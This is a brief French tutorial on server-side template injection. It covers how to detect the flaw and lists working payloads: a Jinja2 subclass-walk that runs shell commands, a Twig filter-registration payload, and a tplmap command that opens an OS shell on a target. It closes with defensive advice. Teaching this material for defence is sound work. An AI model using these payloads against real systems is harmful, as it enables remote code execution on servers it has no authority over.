SSTI — Injection dans les moteurs de templates

RCE Templates

Qu'est-ce que SSTI ?

SSTI survient quand l'input utilisateur est directement inséré dans un template (Jinja2, Twig...) sans échappement. L'attaquant peut injecter des expressions évaluées par le moteur, menant à un RCE.

Identification et exploitation

# Test
{{7*7}}     -> 49 = template evaluation !
${7*7}      # autre syntaxe

# Jinja2 RCE
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0]}}

# Twig PHP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}

# Tplmap (auto)
python tplmap.py -u 'http://target/?name=*' --os-shell

Défenses

Sandboxer le moteur (Jinja2 sandbox) · Ne jamais concaténer l'input dans le template · Templates statiques pré-compilés